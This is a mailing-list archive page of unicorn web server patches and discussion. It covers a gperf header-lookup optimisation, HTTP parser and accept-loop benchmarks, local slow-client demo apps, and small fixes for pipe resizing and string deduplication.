> I think some sort order could be defined via listen option...
>
> I'm not sure if inheriting multiple sockets from systemd or
> similar launchers using LISTEN_FDS env can guarantee ordering
> (or IO.select in Ruby, for that matter).
>
> It seems OK otherwise, I think... Have you tested in real world?
Not yet. But I will probably test it soon.
>
> > Do you have any better idea to have some traffic prioritization?
> > (Another idea is to have dedicated workers for each priority class.
> > This approach has other downsides, I would like to avoid it).
> > Is it something we can introduce in Unicorn (not as default
> > behaviour, but as a configuration option)?
>
> If you're willing to drop some low-priority requests, using a
> small listen :backlog value for a low-priority listen may work.
>
> I'm hesitant to put extra code in worker_loop method since
> it can slow down current users who don't need the feature.
>
> Instead, perhaps try replacing the worker_loop method entirely
> (similar to how oob_gc.rb wraps process_client) so users who
> don't enable the feature won't be penalized with extra code.
> Users who opt into the feature can get an entirely different
> method.
Ok I will try this approach. I'm a little bit annoyed by the code duplication.
>
> > Thx for any opinion.
>
> The best option would be to never get yourself in a situation
> where you're never overloaded by making everything fast :>
> Anything else seems pretty ugly...
On a system which handle 10k QPS, it's really difficult to never have
an issue somewhere :)
Thx
Bertrand
^ permalink raw reply [relevance 2%]
* [PATCH] test_util: get rid of some unused variables in tests
@ 2019-12-15 4:21 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-12-15 4:21 UTC (permalink / raw)
To: unicorn-public
Ruby 2.7.0dev warns on them
---
test/unit/test_util.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 9d5d4ef..4a820ea 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -114,7 +114,7 @@ def test_pipe
f_getpipe_sz = 1032
IO.pipe do |a, b|
a_sz = a.fcntl(f_getpipe_sz)
- b_sz = b.fcntl(f_getpipe_sz)
+ b.fcntl(f_getpipe_sz)
assert_kind_of Integer, a_sz
r_sz = r.fcntl(f_getpipe_sz)
assert_equal Raindrops::PAGE_SIZE, r_sz
^ permalink raw reply related [relevance 8%]
* [PATCH 2/3] http: use gperf for common fields optimization
2019-07-04 22:01 3% [PATCH 0/3] http: use gperf for common field memoization Eric Wong
2019-07-04 22:01 13% ` [PATCH 1/3] unit benchmark for our HTTP parser Eric Wong
@ 2019-07-04 22:01 14% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2019-07-04 22:01 UTC (permalink / raw)
To: unicorn-public
GNU gperf is a commonly-used tool for generating perfect hashes
and available on every platform unicorn runs on. C Ruby, gcc,
glibc all already use it.
Using a hash lookup instead of a linear scan already shows
measurable improvements when memoized header keys are all
used:
* test/benchmark/http_parser.rb (no options):
100000 iterations
user system total real
- 0.411857 0.000200 0.412057 ( 0.412070)
+ 0.397960 0.000181 0.398141 ( 0.398149)
Results which require generating a new string from an unmemoized
header is less significant, but still consistent measurable:
* test/benchmark/http_parser.rb -H 'DNT: 1'
100000 iterations
user system total real
- 0.461416 0.000000 0.461416 ( 0.461417)
+ 0.461329 0.000000 0.461329 ( 0.461363)
Most importantly, this change allows us to memoize more keys
without worrying too much about the overhead of a O(n) scan.
---
.gitignore | 1 +
GNUmakefile | 18 ++++-
ext/unicorn_http/common_field_optimization.h | 79 +++++---------------
ext/unicorn_http/common_fields.gperf | 56 ++++++++++++++
ext/unicorn_http/gperf.rb | 27 +++++++
5 files changed, 117 insertions(+), 64 deletions(-)
create mode 100644 ext/unicorn_http/common_fields.gperf
create mode 100644 ext/unicorn_http/gperf.rb
diff --git a/.gitignore b/.gitignore
index ad92808..05e5e45 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,6 +12,7 @@
/test/ruby-*
ext/unicorn_http/Makefile
ext/unicorn_http/unicorn_http.c
+ext/unicorn_http/common_fields.h
log/
pkg/
/vendor
diff --git a/GNUmakefile b/GNUmakefile
index a7e4102..3dbad2c 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -10,6 +10,7 @@ RAGEL = ragel
RSYNC = rsync
OLDDOC = olddoc
RDOC = rdoc
+GPERF = gperf
GIT-VERSION-FILE: .FORCE-GIT-VERSION-FILE
@./GIT-VERSION-GEN
@@ -40,7 +41,9 @@ T_n_log := $(subst .n,$(log_suffix),$(T_n))
test_prefix = $(CURDIR)/test/$(RUBY_ENGINE)-$(RUBY_VERSION)
ext := ext/unicorn_http
-c_files := $(ext)/unicorn_http.c $(ext)/httpdate.c $(wildcard $(ext)/*.h)
+c_files := $(addprefix $(ext)/, unicorn_http.c common_fields.h \
+ httpdate.c common_field_optimization.h ext_help.h \
+ global_variables.h)
rl_files := $(wildcard $(ext)/*.rl)
base_bins := unicorn unicorn_rails
bins := $(addprefix bin/, $(base_bins))
@@ -48,7 +51,14 @@ man1_rdoc := $(addsuffix _1, $(base_bins))
man1_bins := $(addsuffix .1, $(base_bins))
man1_paths := $(addprefix man/man1/, $(man1_bins))
rb_files := $(bins) $(shell find lib ext -type f -name '*.rb')
-inst_deps := $(c_files) $(rb_files) GNUmakefile test/test_helper.rb
+inst_deps := $(c_files) $(rb_files) GNUmakefile test/test_helper.rb \
+ $(ext)/common_fields.gperf
+
+gperf :: $(ext)/common_fields.h
+$(ext)/common_fields.h : $(ext)/common_fields.gperf $(ext)/gperf.rb
+ $(GPERF) $< >$@-
+ $(MRI) --disable-gems $(ext)/gperf.rb <$@- >$@+
+ test -s $@+ && mv $@+ $@ && $(RM) $@-
ragel: $(ext)/unicorn_http.c
$(ext)/unicorn_http.c: $(rl_files)
@@ -159,12 +169,12 @@ man html:
$(MAKE) -C Documentation install-$@
pkg_extra := GIT-VERSION-FILE lib/unicorn/version.rb LATEST NEWS \
- $(ext)/unicorn_http.c $(man1_paths)
+ $(ext)/unicorn_http.c $(ext)/common_fields.h $(man1_paths)
NEWS:
$(OLDDOC) prepare
-.manifest: $(ext)/unicorn_http.c man NEWS
+.manifest: $(ext)/unicorn_http.c $(ext)/common_fields.h man NEWS
(git ls-files && for i in $@ $(pkg_extra); do echo $$i; done) | \
LC_ALL=C sort > $@+
cmp $@+ $@ || mv $@+ $@
diff --git a/ext/unicorn_http/common_field_optimization.h b/ext/unicorn_http/common_field_optimization.h
index 0659fc7..f69b618 100644
--- a/ext/unicorn_http/common_field_optimization.h
+++ b/ext/unicorn_http/common_field_optimization.h
@@ -3,58 +3,12 @@
#include "ruby.h"
#include "c_util.h"
-struct common_field {
- const signed long len;
- const char *name;
- VALUE value;
-};
-
/*
* A list of common HTTP headers we expect to receive.
* This allows us to avoid repeatedly creating identical string
* objects to be used with rb_hash_aset().
*/
-static struct common_field common_http_fields[] = {
-# define f(N) { (sizeof(N) - 1), N, Qnil }
- f("ACCEPT"),
- f("ACCEPT_CHARSET"),
- f("ACCEPT_ENCODING"),
- f("ACCEPT_LANGUAGE"),
- f("ALLOW"),
- f("AUTHORIZATION"),
- f("CACHE_CONTROL"),
- f("CONNECTION"),
- f("CONTENT_ENCODING"),
- f("CONTENT_LENGTH"),
- f("CONTENT_TYPE"),
- f("COOKIE"),
- f("DATE"),
- f("EXPECT"),
- f("FROM"),
- f("HOST"),
- f("IF_MATCH"),
- f("IF_MODIFIED_SINCE"),
- f("IF_NONE_MATCH"),
- f("IF_RANGE"),
- f("IF_UNMODIFIED_SINCE"),
- f("KEEP_ALIVE"), /* Firefox sends this */
- f("MAX_FORWARDS"),
- f("PRAGMA"),
- f("PROXY_AUTHORIZATION"),
- f("RANGE"),
- f("REFERER"),
- f("TE"),
- f("TRAILER"),
- f("TRANSFER_ENCODING"),
- f("UPGRADE"),
- f("USER_AGENT"),
- f("VIA"),
- f("X_FORWARDED_FOR"), /* common for proxies */
- f("X_FORWARDED_PROTO"), /* common for proxies */
- f("X_REAL_IP"), /* common for proxies */
- f("WARNING")
-# undef f
-};
+#include "common_fields.h"
#define HTTP_PREFIX "HTTP_"
#define HTTP_PREFIX_LEN (sizeof(HTTP_PREFIX) - 1)
@@ -79,21 +33,27 @@ static VALUE str_new_dd_freeze(const char *ptr, long len)
/* this function is not performance-critical, called only at load time */
static void init_common_fields(void)
{
- int i;
- struct common_field *cf = common_http_fields;
+ size_t i;
char tmp[64];
id_uminus = rb_intern("-@");
memcpy(tmp, HTTP_PREFIX, HTTP_PREFIX_LEN);
- for(i = ARRAY_SIZE(common_http_fields); --i >= 0; cf++) {
+ for (i = 0; i < ARRAY_SIZE(cf_wordlist); i++) {
+ long len = (long)cf_lengthtable[i];
+ struct common_field *cf = &cf_wordlist[i];
+ const char *s;
+
+ if (!len)
+ continue;
+
+ s = cf->name + cf_stringpool;
/* Rack doesn't like certain headers prefixed with "HTTP_" */
- if (!strcmp("CONTENT_LENGTH", cf->name) ||
- !strcmp("CONTENT_TYPE", cf->name)) {
- cf->value = str_new_dd_freeze(cf->name, cf->len);
+ if (!strcmp("CONTENT_LENGTH", s) || !strcmp("CONTENT_TYPE", s)) {
+ cf->value = str_new_dd_freeze(s, len);
} else {
- memcpy(tmp + HTTP_PREFIX_LEN, cf->name, cf->len + 1);
- cf->value = str_new_dd_freeze(tmp, HTTP_PREFIX_LEN + cf->len);
+ memcpy(tmp + HTTP_PREFIX_LEN, s, len + 1);
+ cf->value = str_new_dd_freeze(tmp, HTTP_PREFIX_LEN + len);
}
rb_gc_register_mark_object(cf->value);
}
@@ -102,12 +62,11 @@ static void init_common_fields(void)
/* this function is called for every header set */
static VALUE find_common_field(const char *field, size_t flen)
{
- int i;
- struct common_field *cf = common_http_fields;
+ struct common_field *cf = cf_lookup(field, flen);
- for(i = ARRAY_SIZE(common_http_fields); --i >= 0; cf++) {
- if (cf->len == (long)flen && !memcmp(cf->name, field, flen))
- return cf->value;
+ if (cf) {
+ assert(cf->value);
+ return cf->value;
}
return Qnil;
}
diff --git a/ext/unicorn_http/common_fields.gperf b/ext/unicorn_http/common_fields.gperf
new file mode 100644
index 0000000..179afe5
--- /dev/null
+++ b/ext/unicorn_http/common_fields.gperf
@@ -0,0 +1,56 @@
+%{
+#include <ruby.h>
+%}
+%compare-lengths
+%enum
+%global-table
+%language=ANSI-C
+%pic
+%struct-type
+%define hash-function-name cf_hash
+%define length-table-name cf_lengthtable
+%define lookup-function-name cf_lookup
+%define string-pool-name cf_stringpool
+%define word-array-name cf_wordlist
+
+struct common_field { size_t name; VALUE value; };
+%%
+ACCEPT
+ACCEPT_CHARSET
+ACCEPT_ENCODING
+ACCEPT_LANGUAGE
+ALLOW
+AUTHORIZATION
+CACHE_CONTROL
+CONNECTION
+CONTENT_ENCODING
+CONTENT_LENGTH
+CONTENT_TYPE
+COOKIE
+DATE
+EXPECT
+FROM
+HOST
+IF_MATCH
+IF_MODIFIED_SINCE
+IF_NONE_MATCH
+IF_RANGE
+IF_UNMODIFIED_SINCE
+# Firefox sends Keep-Alive (or maybe only old versions?)
+KEEP_ALIVE
+MAX_FORWARDS
+PRAGMA
+PROXY_AUTHORIZATION
+RANGE
+REFERER
+TE
+TRAILER
+TRANSFER_ENCODING
+UPGRADE
+USER_AGENT
+VIA
+# common proxies set some of these X- headers
+X_FORWARDED_FOR
+X_FORWARDED_PROTO
+X_REAL_IP
+WARNING
diff --git a/ext/unicorn_http/gperf.rb b/ext/unicorn_http/gperf.rb
new file mode 100644
index 0000000..9765f86
--- /dev/null
+++ b/ext/unicorn_http/gperf.rb
@@ -0,0 +1,27 @@
+#!/usr/bin/ruby -w
+buf = STDIN.read # output of: gperf ext/unicorn_http/common_fields.gperf
+
+# this is supposed to fail if it doesn't subsitute anything:
+print buf.sub!(
+
+# make sure all functions are static
+/\nstruct \w+ \*\n(\w+_)?lookup/) {
+ "\nstatic#$&"
+}.
+
+gsub!(
+# gperf 3.0.x used "(int)(long)", 3.1 uses "(int)(size_t)",
+# input: {(int)(size_t)&((struct cf_pool_t *)0)->cf_pool_str3},
+# output: {offsetof(struct cf_pool_t, cf_pool_str3)},
+/{\(int\)\(\w+\)\&\(\((struct \w+) *\*\)0\)->(\w+)}/) {
+ "{offsetof(#$1, #$2)}"
+}.
+
+# make sure everything is 64-bit safe and compilers don't truncate
+gsub!(/\b(?:unsigned )?int\b/, 'size_t').
+
+# This isn't need for %switch%, but we'll experiment with to see
+# if it's necessary, or not.
+# don't give compilers a reason to complain, (struct foo *)->name
+# is size_t, so unused slots should be size_t:
+gsub(/\{-1\}/, '{(size_t)-1}')
--
EW
^ permalink raw reply related [relevance 14%]
* [PATCH 1/3] unit benchmark for our HTTP parser
2019-07-04 22:01 3% [PATCH 0/3] http: use gperf for common field memoization Eric Wong
@ 2019-07-04 22:01 13% ` Eric Wong
2019-07-04 22:01 14% ` [PATCH 2/3] http: use gperf for common fields optimization Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2019-07-04 22:01 UTC (permalink / raw)
To: unicorn-public
Some changes coming to the HTTP parser, so might as well throw
some sort of benchmark we can work with to validate
improvements.
---
test/benchmark/http_parser.rb | 43 +++++++++++++++++++++++++++++++++++
1 file changed, 43 insertions(+)
create mode 100644 test/benchmark/http_parser.rb
diff --git a/test/benchmark/http_parser.rb b/test/benchmark/http_parser.rb
new file mode 100644
index 0000000..9509637
--- /dev/null
+++ b/test/benchmark/http_parser.rb
@@ -0,0 +1,43 @@
+# encoding: binary
+# benchmark for HTTP parser hackers:
+# make http && ruby -I lib:ext/unicorn_http test/benchmark/http_parser.rb
+require 'unicorn'
+require 'optparse'
+require 'benchmark'
+$stdout.sync = true
+extra = []
+nr = 100000
+op = OptionParser.new("", 24, ' ') do |opts|
+ opts.banner = "Usage: #$0"
+ opts.separator "#$0 options:"
+ # some of these switches exist for rackup command-line compatibility,
+
+ opts.on('-n NUM', Integer, 'number of iterations') { |i| nr = i }
+ opts.on('-H HEADER:VALUE', String) { |h| extra << h }
+ opts.parse! ARGV
+end
+extra << '' if extra[0]
+
+payload = <<"".freeze
+GET /nowhere HTTP/1.0\r
+Host: example.com\r
+Accept-Encoding: gzip\r
+Accept-Language: en-US\r
+User-Agent: curl/7.52.1\r
+Accept: */*\r
+Referer: https://example.com/eye-kant-spel\r
+Cache-Control: max-age=0\r
+X-Forwarded-For: 0.6.6.6\r
+#{extra.join("\r\n")}\r
+
+hp = Unicorn::HttpParser.new
+puts payload.gsub(/^/, '> ')
+puts "#{nr} iterations"
+res = Benchmark.measure do
+ nr.times do
+ hp.buf << payload
+ hp.parse or abort
+ hp.clear
+ end
+end
+puts Benchmark::CAPTION, res
--
EW
^ permalink raw reply related [relevance 13%]
* [PATCH 0/3] http: use gperf for common field memoization
@ 2019-07-04 22:01 3% Eric Wong
2019-07-04 22:01 13% ` [PATCH 1/3] unit benchmark for our HTTP parser Eric Wong
2019-07-04 22:01 14% ` [PATCH 2/3] http: use gperf for common fields optimization Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2019-07-04 22:01 UTC (permalink / raw)
To: unicorn-public
I've been using gperf in other places, so I figured I might
as well make HTTP parsing a teeny bit faster and allow us
to avoid generating more garbage up front.
Eric Wong (3):
unit benchmark for our HTTP parser
http: use gperf for common fields optimization
http: memoize more common fields
.gitignore | 1 +
GNUmakefile | 18 ++++-
ext/unicorn_http/common_field_optimization.h | 79 +++++---------------
ext/unicorn_http/common_fields.gperf | 66 ++++++++++++++++
ext/unicorn_http/gperf.rb | 27 +++++++
test/benchmark/http_parser.rb | 43 +++++++++++
6 files changed, 170 insertions(+), 64 deletions(-)
create mode 100644 ext/unicorn_http/common_fields.gperf
create mode 100644 ext/unicorn_http/gperf.rb
create mode 100644 test/benchmark/http_parser.rb
--
EW
^ permalink raw reply [relevance 3%]
* [PATCH 2/3] test/benchmark/readinput: demo for slowly uploading clients
2019-05-12 22:25 10% [PATCH 0/3] slow clients and test/benchmark tools Eric Wong
2019-05-12 22:25 24% ` [PATCH 1/3] test/benchmark/ddstream: demo for slowly reading clients Eric Wong
@ 2019-05-12 22:25 20% ` Eric Wong
2019-05-12 22:25 18% ` [PATCH 3/3] test/benchmark/uconnect: test for accept loop speed Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-05-12 22:25 UTC (permalink / raw)
To: unicorn-public
This is intended to demonstrate how badly we suck at dealing
with slow clients making uploads. It can help users evaluate
alternative fully-buffering reverse proxies, because nginx
should not be the only option.
---
test/benchmark/README | 5 +++++
test/benchmark/readinput.ru | 40 +++++++++++++++++++++++++++++++++++++
2 files changed, 45 insertions(+)
create mode 100644 test/benchmark/readinput.ru
diff --git a/test/benchmark/README b/test/benchmark/README
index e9b7a41..cd929f3 100644
--- a/test/benchmark/README
+++ b/test/benchmark/README
@@ -47,6 +47,11 @@ is NOT our problem. That is the job of nginx (or similar).
Standalone Rack app intended to show how BAD we are at slow clients.
See usage in comments.
+== readinput.ru
+
+Standalone Rack app intended to show how bad we are with slow uploaders.
+See usage in comments.
+
== Contributors
This directory is intended to remain stable. Do not make changes
diff --git a/test/benchmark/readinput.ru b/test/benchmark/readinput.ru
new file mode 100644
index 0000000..c91bec3
--- /dev/null
+++ b/test/benchmark/readinput.ru
@@ -0,0 +1,40 @@
+# This app is intended to test large HTTP requests with or without
+# a fully-buffering reverse proxy such as nginx. Without a fully-buffering
+# reverse proxy, unicorn will be unresponsive when client count exceeds
+# worker_processes.
+
+DOC = <<DOC
+To demonstrate how bad unicorn is at slowly uploading clients:
+
+ # in one terminal, start unicorn with one worker:
+ unicorn -E none -l 127.0.0.1:8080 test/benchmark/readinput.ru
+
+ # in a different terminal, upload 45M from multiple curl processes:
+ dd if=/dev/zero bs=45M count=1 | curl -T- -HExpect: --limit-rate 1M \
+ --trace-time -v http://127.0.0.1:8080/ &
+ dd if=/dev/zero bs=45M count=1 | curl -T- -HExpect: --limit-rate 1M \
+ --trace-time -v http://127.0.0.1:8080/ &
+ wait
+
+# The last client won't see a response until the first one is done uploading
+# You also won't be able to make GET requests to view this documentation
+# while clients are uploading. You can also view the stderr debug output
+# of unicorn (see logging code in #{__FILE__}).
+DOC
+
+run(lambda do |env|
+ input = env['rack.input']
+ buf = ''.b
+
+ # default logger contains timestamps, rely on that so users can
+ # see what the server is doing
+ l = env['rack.logger']
+
+ l.debug('BEGIN reading input ...') if l
+ :nop while input.read(16384, buf)
+ l.debug('DONE reading input ...') if l
+
+ buf.clear
+ [ 200, [ %W(Content-Length #{DOC.size}), %w(Content-Type text/plain) ],
+ [ DOC ] ]
+end)
--
EW
^ permalink raw reply related [relevance 20%]
* [PATCH 3/3] test/benchmark/uconnect: test for accept loop speed
2019-05-12 22:25 10% [PATCH 0/3] slow clients and test/benchmark tools Eric Wong
2019-05-12 22:25 24% ` [PATCH 1/3] test/benchmark/ddstream: demo for slowly reading clients Eric Wong
2019-05-12 22:25 20% ` [PATCH 2/3] test/benchmark/readinput: demo for slowly uploading clients Eric Wong
@ 2019-05-12 22:25 18% ` Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-05-12 22:25 UTC (permalink / raw)
To: unicorn-public
In preparation for kgio removal, I want to ensure we can
maintain existing performance when swapping kgio_tryaccept
for accept_nonblock on Ruby 2.3+
There's plenty of TCP benchmarking tools, but TCP port reuse
delays hurt predictability since unicorn doesn't do persistent
connections.
So this is exclusively for Unix sockets and uses Perl instead
of Ruby since I don't want to be bothered with GC
unpredictability on the client side.
---
test/benchmark/uconnect.perl | 66 ++++++++++++++++++++++++++++++++++++
1 file changed, 66 insertions(+)
create mode 100755 test/benchmark/uconnect.perl
diff --git a/test/benchmark/uconnect.perl b/test/benchmark/uconnect.perl
new file mode 100755
index 0000000..230445e
--- /dev/null
+++ b/test/benchmark/uconnect.perl
@@ -0,0 +1,66 @@
+#!/usr/bin/perl -w
+# Benchmark script to spawn some processes and hammer a local unicorn
+# to test accept loop performance. This only does Unix sockets.
+# There's plenty of TCP benchmarking tools out there, and TCP port reuse
+# has predictability problems since unicorn can't do persistent connections.
+# Written in Perl for the same reason: predictability.
+# Ruby GC is not as predictable as Perl refcounting.
+use strict;
+use Socket qw(AF_UNIX SOCK_STREAM sockaddr_un);
+use POSIX qw(:sys_wait_h);
+use Getopt::Std;
+# -c / -n switches stolen from ab(1)
+my $usage = "$0 [-c CONCURRENCY] [-n NUM_REQUESTS] SOCKET_PATH\n";
+our $opt_c = 2;
+our $opt_n = 1000;
+getopts('c:n:') or die $usage;
+my $unix_path = shift or die $usage;
+use constant REQ => "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n";
+use constant REQ_LEN => length(REQ);
+use constant BUFSIZ => 8192;
+$^F = 99; # don't waste syscall time with FD_CLOEXEC
+
+my %workers; # pid => worker num
+die "-n $opt_n not evenly divisible by -c $opt_c\n" if $opt_n % $opt_c;
+my $n_per_worker = $opt_n / $opt_c;
+my $addr = sockaddr_un($unix_path);
+
+for my $num (1..$opt_c) {
+ defined(my $pid = fork) or die "fork failed: $!\n";
+ if ($pid) {
+ $workers{$pid} = $num;
+ } else {
+ work($n_per_worker);
+ }
+}
+
+reap_worker(0) while scalar keys %workers;
+exit;
+
+sub work {
+ my ($n) = @_;
+ my ($buf, $x);
+ for (1..$n) {
+ socket(S, AF_UNIX, SOCK_STREAM, 0) or die "socket: $!";
+ connect(S, $addr) or die "connect: $!";
+ defined($x = syswrite(S, REQ)) or die "write: $!";
+ $x == REQ_LEN or die "short write: $x != ".REQ_LEN."\n";
+ do {
+ $x = sysread(S, $buf, BUFSIZ);
+ unless (defined $x) {
+ next if $!{EINTR};
+ die "sysread: $!\n";
+ }
+ } until ($x == 0);
+ }
+ exit 0;
+}
+
+sub reap_worker {
+ my ($flags) = @_;
+ my $pid = waitpid(-1, $flags);
+ return if !defined $pid || $pid <= 0;
+ my $p = delete $workers{$pid} || '(unknown)';
+ warn("$pid [$p] exited with $?\n") if $?;
+ $p;
+}
--
EW
^ permalink raw reply related [relevance 18%]
* [PATCH 1/3] test/benchmark/ddstream: demo for slowly reading clients
2019-05-12 22:25 10% [PATCH 0/3] slow clients and test/benchmark tools Eric Wong
@ 2019-05-12 22:25 24% ` Eric Wong
2019-05-12 22:25 20% ` [PATCH 2/3] test/benchmark/readinput: demo for slowly uploading clients Eric Wong
2019-05-12 22:25 18% ` [PATCH 3/3] test/benchmark/uconnect: test for accept loop speed Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-05-12 22:25 UTC (permalink / raw)
To: unicorn-public
This is intended to demonstrate how badly we suck at dealing
with slow clients. It can help users evaluate alternative
fully-buffering reverse proxies, because nginx should not
be the only option.
Update the benchmark README while we're at it
---
test/benchmark/README | 13 +++++++---
test/benchmark/ddstream.ru | 50 ++++++++++++++++++++++++++++++++++++++
2 files changed, 59 insertions(+), 4 deletions(-)
create mode 100644 test/benchmark/ddstream.ru
diff --git a/test/benchmark/README b/test/benchmark/README
index 1d3cdd0..e9b7a41 100644
--- a/test/benchmark/README
+++ b/test/benchmark/README
@@ -42,9 +42,14 @@ The benchmark client is usually httperf.
Another gentle reminder: performance with slow networks/clients
is NOT our problem. That is the job of nginx (or similar).
+== ddstream.ru
+
+Standalone Rack app intended to show how BAD we are at slow clients.
+See usage in comments.
+
== Contributors
-This directory is maintained independently in the "benchmark" branch
-based against v0.1.0. Only changes to this directory (test/benchmarks)
-are committed to this branch although the master branch may merge this
-branch occassionaly.
+This directory is intended to remain stable. Do not make changes
+to benchmarking code which can change performance and invalidate
+results across revisions. Instead, write new benchmarks and update
+coments/documentation as necessary.
diff --git a/test/benchmark/ddstream.ru b/test/benchmark/ddstream.ru
new file mode 100644
index 0000000..b14c973
--- /dev/null
+++ b/test/benchmark/ddstream.ru
@@ -0,0 +1,50 @@
+# This app is intended to test large HTTP responses with or without
+# a fully-buffering reverse proxy such as nginx. Without a fully-buffering
+# reverse proxy, unicorn will be unresponsive when client count exceeds
+# worker_processes.
+#
+# To demonstrate how bad unicorn is at slowly reading clients:
+#
+# # in one terminal, start unicorn with one worker:
+# unicorn -E none -l 127.0.0.1:8080 test/benchmark/ddstream.ru
+#
+# # in a different terminal, start more slow curl processes than
+# # unicorn workers and watch time outputs
+# curl --limit-rate 8K --trace-time -vsN http://127.0.0.1:8080/ >/dev/null &
+# curl --limit-rate 8K --trace-time -vsN http://127.0.0.1:8080/ >/dev/null &
+# wait
+#
+# The last client won't see a response until the first one is done reading
+#
+# nginx note: do not change the default "proxy_buffering" behavior.
+# Setting "proxy_buffering off" prevents nginx from protecting unicorn.
+
+# totally standalone rack app to stream a giant response
+class BigResponse
+ def initialize(bs, count)
+ @buf = "#{bs.to_s(16)}\r\n#{' ' * bs}\r\n"
+ @count = count
+ @res = [ 200,
+ { 'Transfer-Encoding' => -'chunked', 'Content-Type' => 'text/plain' },
+ self
+ ]
+ end
+
+ # rack response body iterator
+ def each
+ (1..@count).each { yield @buf }
+ yield -"0\r\n\r\n"
+ end
+
+ # rack app entry endpoint
+ def call(_env)
+ @res
+ end
+end
+
+# default to a giant (128M) response because kernel socket buffers
+# can be ridiculously large on some systems
+bs = ENV['bs'] ? ENV['bs'].to_i : 65536
+count = ENV['count'] ? ENV['count'].to_i : 2048
+warn "serving response with bs=#{bs} count=#{count} (#{bs*count} bytes)"
+run BigResponse.new(bs, count)
--
EW
^ permalink raw reply related [relevance 24%]
* [PATCH 0/3] slow clients and test/benchmark tools
@ 2019-05-12 22:25 10% Eric Wong
2019-05-12 22:25 24% ` [PATCH 1/3] test/benchmark/ddstream: demo for slowly reading clients Eric Wong
` (2 more replies)
0 siblings, 3 replies; 200+ results
From: Eric Wong @ 2019-05-12 22:25 UTC (permalink / raw)
To: unicorn-public
Slowloris made waves nearly a decade ago, and there are still
people being misled into using the wrong reverse proxy for
unicorn. Maybe these new standalone Rack apps can convince
folks to deploy unicorn correctly behind nginx, or better,
evaluate alternatives to nginx :>
Thus ddstream and readinput can help users evaluate
fully-buffering reverse proxies such as nginx, or similar :>
Finally, uconnect is intended to evaluate removal of the kgio
dependency (and maybe future speedups)
test/benchmark/ddstream: demo for slowly reading clients
test/benchmark/readinput: demo for slowly uploading clients
test/benchmark/uconnect: test for accept loop speed
test/benchmark/README | 18 +++++++---
test/benchmark/ddstream.ru | 50 +++++++++++++++++++++++++++
test/benchmark/readinput.ru | 40 ++++++++++++++++++++++
test/benchmark/uconnect.perl | 66 ++++++++++++++++++++++++++++++++++++
4 files changed, 170 insertions(+), 4 deletions(-)
create mode 100644 test/benchmark/ddstream.ru
create mode 100644 test/benchmark/readinput.ru
create mode 100755 test/benchmark/uconnect.perl
Creuncf lrg-nabgure-ubeevoyl-anzrq-freire pna shapgvba nf na
atvak ercynprzrag...
^ permalink raw reply [relevance 10%]
* [PATCH] Rescue failed pipe resizes due to permissions
@ 2019-05-03 22:20 2% sdemjanenko
0 siblings, 0 replies; 200+ results
From: sdemjanenko @ 2019-05-03 22:20 UTC (permalink / raw)
To: unicorn-public; +Cc: Stephen Demjanenko
From: Stephen Demjanenko <sdemjanenko@gmail.com>
When running: ```
require 'kgio'
require 'raindrops'
F_SETPIPE_SZ = 1031 if RUBY_PLATFORM =~ /linux/
Kgio::Pipe.new.each do |io|
io.close_on_exec = true
if defined?(F_SETPIPE_SZ)
begin
puts "setting"
io.fcntl(F_SETPIPE_SZ, Raindrops::PAGE_SIZE)
rescue Errno::EINVAL
puts "rescued"
rescue => e
puts ["FAILED HARD", e].inspect
end
end
end
```
on a few servers to test some Unicorn boot failures I saw:
```
["FAILED HARD", #<Errno::EPERM: Operation not permitted>]
```
The `EPERM` error gets raised by the Linux kernel if:
```
(too_many_pipe_buffers_hard(pipe->user) ||
too_many_pipe_buffers_soft(pipe->user)) &&
!capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN)
```
Given that the resize is not strictly necessary Unicorn should
rescue the error and continue booting.
---
lib/unicorn.rb | 3 +++
1 file changed, 3 insertions(+)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 5f2134d..dd5dff4 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -123,6 +123,9 @@ def self.pipe # :nodoc:
io.fcntl(F_SETPIPE_SZ, Raindrops::PAGE_SIZE)
rescue Errno::EINVAL
# old kernel
+ rescue Errno::EPERM
+ # resizes fail if Linux is close to the pipe limit for the user
+ # or if the user does not have permissions to resize
end
end
end
--
2.7.4
^ permalink raw reply related [relevance 2%]
* [RFC] deduplicate strings VM-wide in Ruby 2.5+
@ 2018-12-06 23:44 10% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-12-06 23:44 UTC (permalink / raw)
To: unicorn-public
String#-@ deduplicates strings starting with Ruby 2.5.0
Hash#[]= deduplicates strings starting in Ruby 2.6.0-rc1
This allows us to save a small amount of memory by sharing
objects with other parts of the stack (e.g. Rack).
---
RFC because I've only lightly-tested this and only with Ruby 2.6rc1.
Will get around to testing later (because more hardware problems,
trying new SATA cables...)
ext/unicorn_http/common_field_optimization.h | 26 ++++++++++++++++---
ext/unicorn_http/extconf.rb | 27 ++++++++++++++++++++
test/unit/test_http_parser.rb | 16 ++++++++++++
3 files changed, 65 insertions(+), 4 deletions(-)
diff --git a/ext/unicorn_http/common_field_optimization.h b/ext/unicorn_http/common_field_optimization.h
index 251e734..4b9f062 100644
--- a/ext/unicorn_http/common_field_optimization.h
+++ b/ext/unicorn_http/common_field_optimization.h
@@ -58,6 +58,23 @@ static struct common_field common_http_fields[] = {
#define HTTP_PREFIX "HTTP_"
#define HTTP_PREFIX_LEN (sizeof(HTTP_PREFIX) - 1)
+static ID id_uminus;
+
+/* this dedupes under Ruby 2.5+ (December 2017) */
+static VALUE str_dd_freeze(VALUE str)
+{
+ if (STR_UMINUS_DEDUPE)
+ return rb_funcall(str, id_uminus, 0);
+
+ /* freeze,since it speeds up older MRI slightly */
+ OBJ_FREEZE(str);
+ return str;
+}
+
